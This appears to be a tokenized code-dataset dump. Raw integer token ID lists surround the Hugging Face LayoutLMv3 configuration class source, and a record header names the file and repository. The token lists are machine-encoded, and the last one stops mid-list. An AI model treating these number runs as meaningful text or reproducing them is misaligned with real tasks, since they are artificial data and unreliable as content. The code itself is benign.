1962,
29918,
29888,
29882,
29901,
13,
4706,
363,
18530,
297,
18530,
29918,
2848,
29879,
29901,
13,
9651,
1962,
29918,
29888,
29882,
29889,
3539,
29898,
29887,
1600,
29897,
13,
13,
13,
1753,
679,
29918,
3286,
924,
29879,
29898,
575,
29918,
29887,
1600,
29918,
333,
29892,
1962,
29918,
3972,
29892,
330,
13264,
29918,
1445,
29892,
5172,
29874,
29918,
710,
29892,
29871,
13,
1678,
26823,
29922,
8824,
1125,
13,
1678,
429,
787,
353,
6571,
13,
1678,
565,
26823,
1275,
5852,
29901,
13,
4706,
4682,
29918,
1853,
353,
525,
6530,
29903,
29915,
13,
1678,
1683,
29901,
13,
4706,
4682,
29918,
1853,
353,
525,
735,
265,
29915,
13,
1678,
411,
1722,
29898,
4141,
29888,
29918,
1445,
29897,
408,
1881,
29918,
29888,
29882,
29901,
13,
4706,
363,
1196,
297,
1881,
29918,
29888,
29882,
29901,
13,
9651,
565,
451,
1196,
29889,
27382,
2541,
14237,
29374,
13,
18884,
4235,
353,
1196,
29889,
17010,
2141,
5451,
28909,
29873,
1495,
13,
18884,
565,
4235,
29961,
29906,
29962,
1275,
4682,
29918,
1853,
29901,
13,
462,
1678,
330,
13264,
29918,
8977,
353,
6088,
29918,
4141,
29888,
29918,
8977,
29898,
9621,
29961,
29947,
2314,
13,
462,
1678,
565,
330,
13264,
29918,
8977,
1839,
29887,
1600,
29918,
333,
2033,
1275,
5662,
29918,
29887,
1600,
29918,
333,
29901,
13,
462,
4706,
565,
451,
330,
13264,
29918,
8977,
1839,
3286,
924,
29918,
333,
2033,
297,
429,
787,
29901,
13,
462,
9651,
429,
787,
29961,
4141,
29888,
29918,
8977,
1839,
3286,
924,
29918,
333,
2033,
29962,
353,
5159,
13,
462,
4706,
429,
787,
29961,
4141,
29888,
29918,
8977,
1839,
3286,
924,
29918,
333,
2033,
1822,
4397,
3319,
13,
462,
9651,
525,
27433,
2396,
4235,
29961,
29900,
1402,
13,
462,
9651,
525,
2962,
2396,
938,
29898,
9621,
29961,
29941,
11724,
13,
462,
9651,
525,
355,
2396,
938,
29898,
9621,
29961,
29946,
11724,
13,
462,
9651,
525,
710,
392,
2396,
4235,
29961,
29953,
1402,
13,
462,
4706,
5615,
13,
1678,
363,
1301,
924,
297,
429,
787,
29901,
13,
4706,
565,
731,
4197,
29875,
1839,
710,
392,
2033,
363,
474,
297,
429,
787,
29961,
3286,
924,
24960,
1275,
731,
877,
23097,
1125,
13,
9651,
851,
392,
353,
525,
23097,
13,
9651,
12705,
29918,
735,
787,
353,
12705,
29898,
735,
787,
29961,
3286,
924,
1402,
1820,
29922,
2892,
474,
29901,
29875,
1839,
2962,
11287,
13,
4706,
25342,
731,
4197,
29875,
1839,
710,
392,
2033,
363,
474,
297,
429,
787,
29961,
3286,
924,
24960,
1275,
731,
877,
29899,
29374,
13,
9651,
851,
392,
353,
17411,
29915,
13,
9651,
12705,
29918,
735,
787,
353,
12705,
29898,
735,
787,
29961,
3286,
924,
1402,
1820,
29922,
2892,
474,
29901,
29875,
1839,
2962,
7464,
11837,
29922,
5574,
29897,
13,
4706,
5665,
353,
6629,
13,
4706,
411,
330,
7554,
29889,
3150,
29898,
29888,
5427,
29918,
710,
29889,
4830,
29898,
735,
787,
29961,
3286,
924,
3816,
29900,
22322,
27433,
2033,
511,
525,
2273,
1495,
408,
1881,
29918,
29888,
29882,
29901,
13,
9651,
363,
2407,
297,
25981,
5971,
29889,
5510,
29898,
2080,
29918,
29888,
29882,
29892,
525,
29888,
5427,
29374,
13,
18884,
25173,
29918,
11762,
353,
851,
29898,
11651,
29889,
11762,
29897,
13,
4706,
363,
429,
265,
297,
12705,
29918,
735,
787,
29901,
13,
9651,
565,
851,
392,
1275,
525,
29974,
2396,
13,
18884,
5665,
4619,
25173,
29918,
11762,
29961,
735,
265,
1839,
2962,
2033,
29899,
29896,
29901,
735,
265,
1839,
355,
2033,
29962,
13,
9651,
25342,
851,
392,
1275,
17411,
2396,
13,
18884,
5665,
4619,
364,
29883,
29898,
27433,
29918,
11762,
29961,
735,
265,
1839,
2962,
2033,
29899,
29896,
29901,
735,
265,
1839,
355,
2033,
2314,
13,
4706,
565,
26823,
1275,
5852,
29901,
13,
9651,
5665,
353,
14240,
29898,
16506,
29897,
13,
4706,
411,
1722,
29898,
359,
29889,
2084,
29889,
7122,
29898,
4905,
29918,
3972,
29892,
1301,
924,
718,
15300,
5444,
5477,
525,
29893,
1495,
408,
1962,
29918,
29888,
29882,
29901,
13,
9651,
1962,
29918,
29888,
29882,
29889,
3539,
877,
26208,
29900,
1012,
29876,
29912,
29896,
1012,
29876,
4286,
4830,
29898,
3286,
924,
29892,
5665,
876,
13,
4706,
1596,
877,
29888,
5427,
934,
3971,
29901,
426,
29900,
6822,
29912,
29896,
1836,
5444,
4286,
4830,
29898,
4905,
29918,
3972,
29892,
1301,
924,
876,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
565,
7431,
29898,
9675,
29889,
19218,
29897,
1275,
29871,
29941,
29901,
13,
4706,
396,
330,
13264,
281,
657,
515,
5662,
13365,
313,
29893,
657,
285,
9392,
597,
23102,
29889,
575,
13365,
29889,
990,
29914,
5467,
29914,
14096,
29899,
29929,
29945,
29914,
4141,
29888,
29914,
8366,
29918,
8366,
1810,
375,
29914,
14958,
29918,
8366,
1810,
375,
29889,
29954,
10363,
29885,
29941,
29947,
29889,
29929,
29945,
29889,
4141,
29888,
29889,
18828,
29897,
13,
4706,
396,
4141,
29888,
29918,
517,
29918,
29887,
1600,
29918,
2848,
29898,
4141,
29888,
29918,
1445,
2433,
14958,
29918,
8366,
1810,
375,
29889,
29954,
10363,
29885,
29941,
29947,
29889,
29929,
29945,
29889,
4141,
29888,
742,
29871,
13,
4706,
396,
462,
259,
714,
1445,
2433,
4317,
29896,
29900,
29918,
29887,
1600,
29918,
2848,
29879,
29889,
3945,
1495,
13,
4706,
330,
13264,
29918,
517,
29918,
29887,
1600,
29918,
2848,
29898,
4141,
29888,
29918,
1445,
29922,
9675,
29889,
19218,
29961,
29896,
1402,
29871,
13,
462,
965,
714,
1445,
29922,
9675,
29889,
19218,
29961,
29906,
2314,
13,
1678,
25342,
7431,
29898,
9675,
29889,
19218,
29897,
1275,
29871,
29946,
29901,
13,
4706,
330,
13264,
29918,
517,
29918,
29887,
1600,
29918,
2848,
29898,
4141,
29888,
29918,
1445,
29922,
9675,
29889,
19218,
29961,
29896,
1402,
29871,
13,
462,
965,
714,
1445,
29922,
9675,
29889,
19218,
29961,
29906,
1402,
13,
462,
965,
3160,
29918,
497,
29922,
9675,
29889,
19218,
29961,
29941,
2314,
13,
1678,
1683,
29901,
13,
4706,
1209,
13,
2
] |
src/transformers/models/layoutlmv3/configuration_layoutlmv3.py | bugface/transformers | 5 | 113461 | # coding=utf-8
# Copyright 2022 Microsoft Research and The HuggingFace Inc. team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
""" LayoutLMv3 model configuration"""
from ...configuration_utils import PretrainedConfig
from ...utils import logging
logger = logging.get_logger(__name__)
LAYOUTLMV3_PRETRAINED_CONFIG_ARCHIVE_MAP = {
"microsoft/layoutlmv3-base": "https://huggingface.co/microsoft/layoutlmv3-base/resolve/main/config.json",
}
class LayoutLMv3Config(PretrainedConfig):
r"""
This is the configuration class to store the configuration of a [`LayoutLMv3Model`]. It is used to instantiate an
LayoutLMv3 model according to the specified arguments, defining the model architecture. Instantiating a
configuration with the defaults will yield a similar configuration to that of the LayoutLMv3
[microsoft/layoutlmv3-base](https://huggingface.co/microsoft/layoutlmv3-base) architecture.
Configuration objects inherit from [`PretrainedConfig`] and can be used to control the model outputs. Read the
documentation from [`PretrainedConfig`] for more information.
Args:
vocab_size (`int`, *optional*, defaults to 50265):
Vocabulary size of the LayoutLMv3 model. Defines the number of different tokens that can be represented by
the `inputs_ids` passed when calling [`LayoutLMv3Model`].
hidden_size (`int`, *optional*, defaults to 768):
Dimension of the encoder layers and the pooler layer.
num_hidden_layers (`int`, *optional*, defaults to 12):
Number of hidden layers in the Transformer encoder.
num_attention_heads (`int`, *optional*, defaults to 12):
Number of attention heads for each attention layer in the Transformer encoder.
intermediate_size (`int`, *optional*, defaults to 3072):
Dimension of the "intermediate" (i.e., feed-forward) layer in the Transformer encoder.
hidden_act (`str` or `function`, *optional*, defaults to `"gelu"`):
The non-linear activation function (function or string) in the encoder and pooler. If string, `"gelu"`,
`"relu"`, `"selu"` and `"gelu_new"` are supported.
hidden_dropout_prob (`float`, *optional*, defaults to 0.1):
The dropout probabilitiy for all fully connected layers in the embeddings, encoder, and pooler.
attention_probs_dropout_prob (`float`, *optional*, defaults to 0.1):
The dropout ratio for the attention probabilities.
max_position_embeddings (`int`, *optional*, defaults to 512):
The maximum sequence length that this model might ever be used with. Typically set this to something large
just in case (e.g., 512 or 1024 or 2048).
type_vocab_size (`int`, *optional*, defaults to 2):
The vocabulary size of the `token_type_ids` passed when calling [`LayoutLMv3Model`].
initializer_range (`float`, *optional*, defaults to 0.02):
The standard deviation of the truncated_normal_initializer for initializing all weight matrices.
layer_norm_eps (`float`, *optional*, defaults to 1e-5):
The epsilon used by the layer normalization layers.
max_2d_position_embeddings (`int`, *optional*, defaults to 1024):
The maximum value that the 2D position embedding might ever be used with. Typically set this to something
large just in case (e.g., 1024).
coordinate_size (`int`, *optional*, defaults to `128`):
Dimension of the coordinate embeddings.
shape_size (`int`, *optional*, defaults to `128`):
Dimension of the width and height embeddings.
has_relative_attention_bias (`bool`, *optional*, defaults to `True`):
Whether or not to use a relative attention bias in the self-attention mechanism.
rel_pos_bins (`int`, *optional*, defaults to 32):
The number of relative position bins to be used in the self-attention mechanism.
max_rel_pos (`int`, *optional*, defaults to 128):
The maximum number of relative positions to be used in the self-attention mechanism.
max_rel_2d_pos (`int`, *optional*, defaults to 256):
The maximum number of relative 2D positions in the self-attention mechanism.
rel_2d_pos_bins (`int`, *optional*, defaults to 64):
The number of 2D relative position bins in the self-attention mechanism.
has_spatial_attention_bias (`bool`, *optional*, defaults to `True`):
Whether or not to use a spatial attention bias in the self-attention mechanism.
visual_embed (`bool`, *optional*, defaults to `True`):
Whether or not to add patch embeddings.
input_size (`int`, *optional*, defaults to `224`):
The size (resolution) of the images.
num_channels (`int`, *optional*, defaults to `3`):
The number of channels of the images.
patch_size (`int`, *optional*, defaults to `16`)
The size (resolution) of the patches.
classifier_dropout (`float`, *optional*):
The dropout ratio for the classification head.
Example:
```python
>>> from transformers import LayoutLMv3Model, LayoutLMv3Config
>>> # Initializing a LayoutLMv3 microsoft/layoutlmv3-base style configuration
>>> configuration = LayoutLMv3Config()
>>> # Initializing a model from the microsoft/layoutlmv3-base style configuration
>>> model = LayoutLMv3Model(configuration)
>>> # Accessing the model configuration
>>> configuration = model.config
```"""
model_type = "layoutlmv3"
def __init__(
self,
vocab_size=50265,
hidden_size=768,
num_hidden_layers=12,
num_attention_heads=12,
intermediate_size=3072,
hidden_act="gelu",
hidden_dropout_prob=0.1,
attention_probs_dropout_prob=0.1,
max_position_embeddings=512,
type_vocab_size=2,
initializer_range=0.02,
layer_norm_eps=1e-5,
pad_token_id=1,
bos_token_id=0,
eos_token_id=2,
max_2d_position_embeddings=1024,
coordinate_size=128,
shape_size=128,
has_relative_attention_bias=True,
rel_pos_bins=32,
max_rel_pos=128,
rel_2d_pos_bins=64,
max_rel_2d_pos=256,
has_spatial_attention_bias=True,
text_embed=True,
visual_embed=True,
input_size=224,
num_channels=3,
patch_size=16,
classifier_dropout=None,
**kwargs
):
super().__init__(
vocab_size=vocab_size,
hidden_size=hidden_size,
num_hidden_layers=num_hidden_layers,
num_attention_heads=num_attention_heads,
intermediate_size=intermediate_size,
hidden_act=hidden_act,
hidden_dropout_prob=hidden_dropout_prob,
attention_probs_dropout_prob=attention_probs_dropout_prob,
max_position_embeddings=max_position_embeddings,
type_vocab_size=type_vocab_size,
initializer_range=initializer_range,
layer_norm_eps=layer_norm_eps,
pad_token_id=pad_token_id,
bos_token_id=bos_token_id,
eos_token_id=eos_token_id,
**kwargs,
)
self.max_2d_position_embeddings = max_2d_position_embeddings
self.coordinate_size = coordinate_size
self.shape_size = shape_size
self.has_relative_attention_bias = has_relative_attention_bias
self.rel_pos_bins = rel_pos_bins
self.max_rel_pos = max_rel_pos
self.has_spatial_attention_bias = has_spatial_attention_bias
self.rel_2d_pos_bins = rel_2d_pos_bins
self.max_rel_2d_pos = max_rel_2d_pos
self.text_embed = text_embed
self.visual_embed = visual_embed
self.input_size = input_size
self.num_channels = num_channels
self.patch_size = patch_size
self.classifier_dropout = classifier_dropout
| [
1,
396,
14137,
29922,
9420,
29899,
29947,
13,
29937,
14187,
1266,
29871,
29906,
29900,
29906,
29906,
7783,
10550,
322,
450,
379,
688,
3460,
23360,
9266,
29889,
3815,
29889,
2178,
10462,
21676,
29889,
13,
29937,
13,
29937,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
13,
29937,
366,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
29937,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
268,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
29937,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
29937,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
29937,
2823,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
29937,
27028,
1090,
278,
19245,
29889,
13,
15945,
29908,
20259,
26369,
29894,
29941,
1904,
5285,
15945,
29908,
13,
13,
3166,
2023,
13305,
29918,
13239,
1053,
349,
2267,
22042,
3991,
13,
3166,
2023,
13239,
1053,
12183,
13,
13,
13,
21707,
353,
12183,
29889,
657,
29918,
21707,
22168,
978,
1649,
29897,
13,
13,
18799,
12015,
26369,
29963,
29941,
29918,
15094,
29911,
4717,
1177,
3352,
29918,
25903,
29918,
1718,
3210,
18474,
29918,
23827,
353,
426,
13,
1678,
376,
4994,
29914,
2680,
21457,
29894,
29941,
29899,
3188,
1115,
376,
991,
597,
29882,
688,
3460,
2161,
29889,
1111,
29914,
4994,
29914,
2680,
21457,
29894,
29941,
29899,
3188,
29914,
17863,
29914,
3396,
29914,
2917,
29889,
3126,
613,
13,
29913,
13,
13,
13,
1990,
20259,
26369,
29894,
29941,
3991,
29898,
29925,
2267,
22042,
3991,
1125,
13,
1678,
364,
15945,
29908,
13,
1678,
910,
338,
278,
5285,
770,
304,
3787,
278,
5285,
310,
263,
5913,
3453,
26369,
29894,
29941,
3195,
29952,
1822,
739,
338,
1304,
304,
25112,
385,
13,
1678,
20259,
26369,
29894,
29941,
1904,
5034,
304,
278,
6790,
6273,
29892,
16184,
278,
1904,
11258,
29889,
2799,
3656,
1218,
263,
13,
1678,
5285,
411,
278,
21274,
674,
7709,
263,
2788,
5285,
304,
393,
310,
278,
20259,
26369,
29894,
29941,
13,
1678,
518,
4994,
29914,
2680,
21457,
29894,
29941,
29899,
3188,
850,
991,
597,
29882,
688,
3460,
2161,
29889,
1111,
29914,
4994,
29914,
2680,
21457,
29894,
29941,
29899,
3188,
29897,
11258,
29889,
13,
13,
1678,
20999,
3618,
13125,
515,
5913,
29925,
2267,
22042,
3991,
29952,
29962,
322,
508,
367,
1304,
304,
2761,
278,
1904,
14391,
29889,
7523,
278,
13,
1678,
5106,
515,
5913,
29925,
2267,
22042,
3991,
29952,
29962,
363,
901,
2472,
29889,
13,
13,
1678,
826,
3174,
29901,
13,
4706,
7931,
370,
29918,
2311,
6695,
524,
1673,
334,
25253,
15966,
21274,
304,
29871,
29945,
29900,
29906,
29953,
29945,
1125,
13,
9651,
478,
542,
370,
352,
653,
2159,
310,
278,
20259,
26369,
29894,
29941,
1904,
29889,
5282,
1475,
278,
1353,
310,
1422,
18897,
393,
508,
367,
9875,
491,
13,
9651,
278,
421,
2080,
29879,
29918,
4841,
29952,
4502,
746,
5432,
5913,
3453,
26369,
29894,
29941,
3195,
29952,
1822,
13,
4706,
7934,
29918,
2311,
6695,
524,
1673,
334,
25253,
15966,
21274,
304,
29871,
29955,
29953,
29947,
1125,
13,
9651,
4792,
2673,
310,
278,
2094,
6119,
15359,
322,
278,
11565,
261,
7546,
29889,
13,
4706,
954,
29918,
10892,
29918,
29277,
6695,
524,
1673,
334,
25253,
15966,
21274,
304,
29871,
29896,
29906,
1125,
13,
9651,
9681,
310,
7934,
15359,
297,
278,
4103,
24784,
2094,
6119,
29889,
13,
4706,
954,
29918,
1131,
2509,
29918,
2813,
29879,
6695,
524,
1673,
334,
25253,
15966,
21274,
304,
29871,
29896,
29906,
1125,
13,
9651,
9681,
310,
8570,
15883,
363,
1269,
8570,
7546,
297,
278,
4103,
24784,
2094,
6119,
29889,
13,
4706,
19697,
29918,
2311,
6695,
524,
1673,
334,
25253,
15966,
21274,
304,
29871,
29941,
29900,
29955,
29906,
1125,
13,
9651,
4792,
2673,
310,
278,
376,
1639,
13847,
29908,
313,
29875,
29889,
29872,
1696,
8343,
29899,
11333,
29897,
7546,
297,
278,
4103,
24784,
2094,
6119,
29889,
13,
4706,
7934,
29918,
627,
6695,
710,
29952,
470,
421,
2220,
1673,
334,
25253,
15966,
21274,
304,
10248,
7467,
29884,
6937,
1125,
13,
9651,
450,
1661,
29899,
10660,
26229,
740,
313,
2220,
470,
1347,
29897,
297,
278,
2094,
6119,
322,
11565,
261,
29889,
960,
1347,
29892,
10248,
7467,
29884,
29908,
1673,
13,
9651,
10248,
2674,
29884,
29908,
1673,
10248,
2838,
29884,
6937,
322,
10248,
7467,
29884,
29918,
1482,
6937,
526,
6969,
29889,
13,
4706,
7934,
29918,
8865,
449,
29918,
22795,
6695,
7411,
1673,
334,
25253,
15966,
21274,
304,
29871,
29900,
29889,
29896,
1125,
13,
9651,
450,
5768,
449,
23950,
4812,
29891,
363,
599,
8072,
6631,
15359,
297,
278,
8297,
29881,
886,
29892,
2094,
6119,
29892,
322,
11565,
261,
29889,
13,
4706,
8570,
29918,
771,
5824,
29918,
8865,
449,
29918,
22795,
6695,
7411,
1673,
334,
25253,
15966,
21274,
304,
29871,
29900,
29889,
29896,
1125,
13,
9651,
450,
5768,
449,
11959,
363,
278,
8570,
2070,
11614,
29889,
13,
4706,
4236,
29918,
3283,
29918,
17987,
29881,
886,
6695,
524,
1673,
334,
25253,
15966,
21274,
304,
29871,
29945,
29896,
29906,
1125,
13,
9651,
450,
7472,
5665,
3309,
393,
445,
1904,
1795,
3926,
367,
1304,
411,
29889,
14213,
1711,
731,
445,
304,
1554,
2919,
13,
9651,
925,
297,
1206,
313,
29872,
29889,
29887,
1696,
29871,
29945,
29896,
29906,
470,
29871,
29896,
29900,
29906,
29946,
470,
29871,
29906,
29900,
29946,
29947,
467,
13,
4706,
1134,
29918,
29894,
542,
370,
29918,
2311,
6695,
524,
1673,
334,
25253,
15966,
21274,
304,
29871,
29906,
1125,
13,
9651,
450,
7931,
370,
352,
653,
2159,
310,
278,
421,
6979,
29918,
1853,
29918,
4841,
29952,
4502,
746,
5432,
5913,
3453,
26369,
29894,
29941,
3195,
29952,
1822,
13,
4706,
2847,
3950,
29918,
3881,
6695,
7411,
1673,
334,
25253,
15966,
21274,
304,
29871,
29900,
29889,
29900,
29906,
1125,
13,
9651,
450,
3918,
29522,
310,
278,
21022,
630,
29918,
8945,
29918,
11228,
3950,
363,
2847,
5281,
599,
7688,
13516,
29889,
13,
4706,
7546,
29918,
12324,
29918,
8961,
6695,
7411,
1673,
334,
25253,
15966,
21274,
304,
29871,
29896,
29872,
29899,
29945,
1125,
13,
9651,
450,
321,
3232,
1304,
491,
278,
7546,
4226,
2133,
15359,
29889,
13,
4706,
4236,
29918,
29906,
29881,
29918,
3283,
29918,
17987,
29881,
886,
6695,
524,
1673,
334,
25253,
15966,
21274,
304,
29871,
29896,
29900,
29906,
29946,
1125,
13,
9651,
450,
7472,
995,
393,
278,
29871,
29906,
29928,
2602,
23655,
1795,
3926,
367,
1304,
411,
29889,
14213,
1711,
731,
445,
304,
1554,
13,
9651,
2919,
925,
297,
1206,
313,
29872,
29889,
29887,
1696,
29871,
29896,
29900,
29906,
29946,
467,
13,
4706,
14821,
29918,
2311,
6695,
524,
1673,
334,
25253,
15966,
21274,
304,
421,
29896,
29906,
29947,
29952,
1125,
13,
9651,
4792,
2673,
310,
278,
14821,
8297,
29881,
886,
29889,
13,
4706,
8267,
29918,
2311,
6695,
524,
1673,
334,
25253,
15966,
21274,
304,
421,
29896,
29906,
29947,
29952,
1125,
13,
9651,
4792,
2673,
310,
278,
2920,
322,
3171,
8297,
29881,
886,
29889,
13,
4706,
756,
29918,
22925,
29918,
1131,
2509,
29918,
29890,
3173,
6695,
11227,
1673,
334,
25253,
15966,
21274,
304,
421,
5574,
29952,
1125,
13,
9651,
26460,
470,
451,
304,
671,
263,
6198,
8570,
24003,
297,
278,
1583,
29899,
1131,
2509,
13336,
29889,
13,
4706,
1104,
29918,
1066,
29918,
29890,
1144,
6695,
524,
1673,
334,
25253,
15966,
21274,
304,
29871,
29941,
29906,
1125,
13,
9651,
450,
1353,
310,
6198,
2602,
289,
1144,
304,
367,
1304,
297,
278,
1583,
29899,
1131,
2509,
13336,
29889,
13,
4706,
4236,
29918,
2674,
29918,
1066,
6695,
524,
1673,
334,
25253,
15966,
21274,
304,
29871,
29896,
29906,
29947,
1125,
13,
9651,
450,
7472,
1353,
310,
6198,
11909,
304,
367,
1304,
297,
278,
1583,
29899,
1131,
2509,
13336,
29889,
13,
4706,
4236,
29918,
2674,
29918,
29906,
29881,
29918,
1066,
6695,
524,
1673,
334,
25253,
15966,
21274,
304,
29871,
29906,
29945,
29953,
1125,
13,
9651,
450,
7472,
1353,
310,
6198,
29871,
29906,
29928,
11909,
297,
278,
1583,
29899,
1131,
2509,
13336,
29889,
13,
4706,
1104,
29918,
29906,
29881,
29918,
1066,
29918,
29890,
1144,
6695,
524,
1673,
334,
25253,
15966,
21274,
304,
29871,
29953,
29946,
1125,
13,
9651,
450,
1353,
310,
29871,
29906,
29928,
6198,
2602,
289,
1144,
297,
278,
1583,
29899,
1131,
2509,
13336,
29889,
13,
4706,
756,
29918,
1028,
15238,
29918,
1131,
2509,
29918,
29890,
3173,
6695,
11227,
1673,
334,
25253,
15966,
21274,
304,
421,
5574,
29952,
1125,
13,
9651,
26460,
470,
451,
304,
671,
263,
18652,
8570,
24003,
297,
278,
1583,
29899,
1131,
2509,
13336,
29889,
13,
4706,
7604,
29918,
17987,
6695,
11227,
1673,
334,
25253,
15966,
21274,
304,
421,
5574,
29952,
1125,
13,
9651,
26460,
470,
451,
304,
788,
13261,
8297,
29881,
886,
29889,
13,
4706,
1881,
29918,
2311,
6695,
524,
1673,
334,
25253,
15966,
21274,
304,
421,
29906,
29906,
29946,
29952,
1125,
13,
9651,
450,
2159,
313,
9778,
918,
29897,
310,
278,
4558,
29889,
13,
4706,
954,
29918,
305,
12629,
6695,
524,
1673,
334,
25253,
15966,
21274,
304,
421,
29941,
29952,
1125,
13,
9651,
450,
1353,
310,
18196,
310,
278,
4558,
29889,
13,
4706,
13261,
29918,
2311,
6695,
524,
1673,
334,
25253,
15966,
21274,
304,
421,
29896,
29953,
6348,
13,
9651,
450,
2159,
313,
9778,
918,
29897,
310,
278,
13261,
267,
29889,
13,
4706,
770,
3709,
29918,
8865,
449,
6695,
7411,
1673,
334,
25253,
29930,
1125,
13,
9651,
450,
5768,
449,
11959,
363,
278,
12965,
2343,
29889,
13,
13,
1678,
8741,
29901,
13,
13,
1678,
7521,
4691,
13,
1678,
8653,
515,
4327,
414,
1053,
20259,
26369,
29894,
29941,
3195,
29892,
20259,
26369,
29894,
29941,
3991,
13,
13,
1678,
8653,
396,
17250,
5281,
263,
20259,
26369,
29894,
29941,
286,
2995,
29914,
2680,
21457,
29894,
29941,
29899,
3188,
3114,
5285,
13,
1678,
8653,
5285,
353,
20259,
26369,
29894,
29941,
3991,
580,
13,
13,
1678,
8653,
396,
17250,
5281,
263,
1904,
515,
278,
286,
2995,
29914,
2680,
21457,
29894,
29941,
29899,
3188,
3114,
5285,
13,
1678,
8653,
1904,
353,
20259,
26369,
29894,
29941,
3195,
29898,
13305,
29897,
13,
13,
1678,
8653,
396,
11028,
292,
278,
1904,
5285,
13,
1678,
8653,
5285,
353,
1904,
29889,
2917,
13,
1678,
7521,
15945,
29908,
13,
1678,
1904,
29918,
1853,
353,
376,
2680,
21457,
29894,
29941,
29908,
13,
13,
1678,
822,
4770,
2344,
12035,
13,
4706,
1583,
29892,
13,
4706,
7931,
370,
29918,
2311,
29922,
29945,
29900,
29906,
29953,
29945,
29892,
13,
4706,
7934,
29918,
2311,
29922,
29955,
29953,
29947,
29892,
13,
4706,
954,
29918,
10892,
29918,
29277,
29922,
29896,
29906,
29892,
13,
4706,
954,
29918,
1131,
2509,
29918,
2813,
29879,
29922,
29896,
29906,
29892,
13,
4706,
19697,
29918,
2311,
29922,
29941,
29900,
29955,
29906,
29892,
13,
4706,
7934,
29918,
627,
543,
7467,
29884,
613,
13,
4706,
7934,
29918,
8865,
449,
29918,
22795,
29922,
29900,
29889,
29896,
29892,
13,
4706,
8570,
29918,
771,
5824,
29918,
8865,
449,
29918,
22795,
29922,
29900,
29889,
29896,
29892,
13,
4706,
4236,
29918,
3283,
29918,
17987,
29881,
886,
29922,
29945,
29896,
29906,
29892,
13,
4706,
1134,
29918,
29894,
542,
370,
29918,
2311,
29922,
29906,
29892,
13,
4706,
2847,
3950,
29918,
3881,
29922,
29900,
29889,
29900,
29906,
29892,
13,
4706,
7546,
29918,
12324,
29918,
8961,
29922,
29896,
29872,
29899,
29945,
29892,
13,
4706,
17132,
29918,
6979,
29918,
333,
29922,
29896,
29892,
13,
4706,
13601,
29918,
6979,
29918,
333,
29922,
29900,
29892,
13,
4706,
321,
359,
29918,
6979,
29918,
333,
29922,
29906,
29892,
13,
4706,
4236,
29918,
29906,
29881,
29918,
3283,
29918,
17987,
29881,
886,
29922,
29896,
29900,
29906,
29946,
29892,
13,
4706,
14821,
29918,
2311,
29922,
29896,
29906,
29947,
29892,
13,
4706,
8267,
29918,
2311,
29922,
29896,
29906,
29947,
29892,
13,
4706,
756,
29918,
22925,
29918,
1131,
2509,
29918,
29890,
3173,
29922,
5574,
29892,
13,
4706,
1104,
29918,
1066,
29918,
29890,
1144,
29922,
29941,
29906,
29892,
13,
4706,
4236,
29918,
2674,
29918,
1066,
29922,
29896,
29906,
29947,
29892,
13,
4706,
1104,
29918,
29906,
29881,
29918,
1066,
29918,
29890,
1144,
29922,
29953,
29946,
29892,
13,
4706,
4236,
29918,
2674,
29918,
29906,
29881,
29918,
1066,
29922,
29906,
29945,
29953,
29892,
13,
4706,
756,
29918,
1028,
15238,
29918,
1131,
2509,
29918,
29890,
3173,
29922,
5574,
29892,
13,
4706,
1426,
29918,
17987,
29922,
5574,
29892,
13,
4706,
7604,
29918,
17987,
29922,
5574,
29892,
13,
4706,
1881,
29918,
2311,
29922,
29906,
29906,
29946,
29892,
13,
4706,
954,
29918,
305,
12629,
29922,
29941,
29892,
13,
4706,
13261,
29918,
2311,
29922,
29896,
29953,
29892,
13,
4706,
770,
3709,
29918,
8865,
449,
29922,
8516,
29892,
13,
4706,
3579,
19290,
13,
268,
1125,
13,
4706,
2428,
2141,
1649,
2344,
12035,
13,
9651,
7931,
370,
29918,
2311,
29922,
29894,
542,
370,
29918,
2311,
29892,
13,
9651,
7934,
29918,
2311,
29922,
10892,
29918,
2311,
29892,
13,
9651,
954,
29918,
10892,
29918,
29277,
29922,
1949,
29918,
10892,
29918,
29277,
29892,
13,
9651,
954,
29918,
1131,
2509,
29918,
2813,
29879,
29922,
1949,
29918,
1131,
2509,
29918,
2813,
29879,
29892,
13,
9651,
19697,
29918,
2311,
29922,
1639,
13847,
29918,
2311,
29892,
13,
9651,
7934,
29918,
627,
29922,
10892,
29918,
627,
29892,
13,
9651,
7934,
29918,
8865,
449,
29918,
22795,
29922,
10892,
29918,
8865,
449,
29918,
22795,
29892,
13,
9651,
8570,
29918,
771,
5824,
29918,
8865,
449,
29918,
22795,
29922,
1131,
2509,
29918,
771,
5824,
29918,
8865,
449,
29918,
22795,
29892,
13,
9651,
4236,
29918,
3283,
29918,
17987,
29881,
886,
29922,
3317,
29918,
3283,
29918,
17987,
29881,
886,
29892,
13,
9651,
1134,
29918,
29894,
542,
370,
29918,
2311,
29922,
1853,
29918,
29894,
542,
370,
29918,
2311,
29892,
13,
9651,
2847,
3950,
29918,
3881,
29922,
11228,
3950,
29918,
3881,
29892,
13,
9651,
7546,
29918,
12324,
29918,
8961,
29922,
13148,
29918,
12324,
29918,
8961,
29892,
13,
9651,
17132,
29918,
6979,
29918,
333,
29922,
8305,
29918,
6979,
29918,
333,
29892,
13,
9651,
13601,
29918,
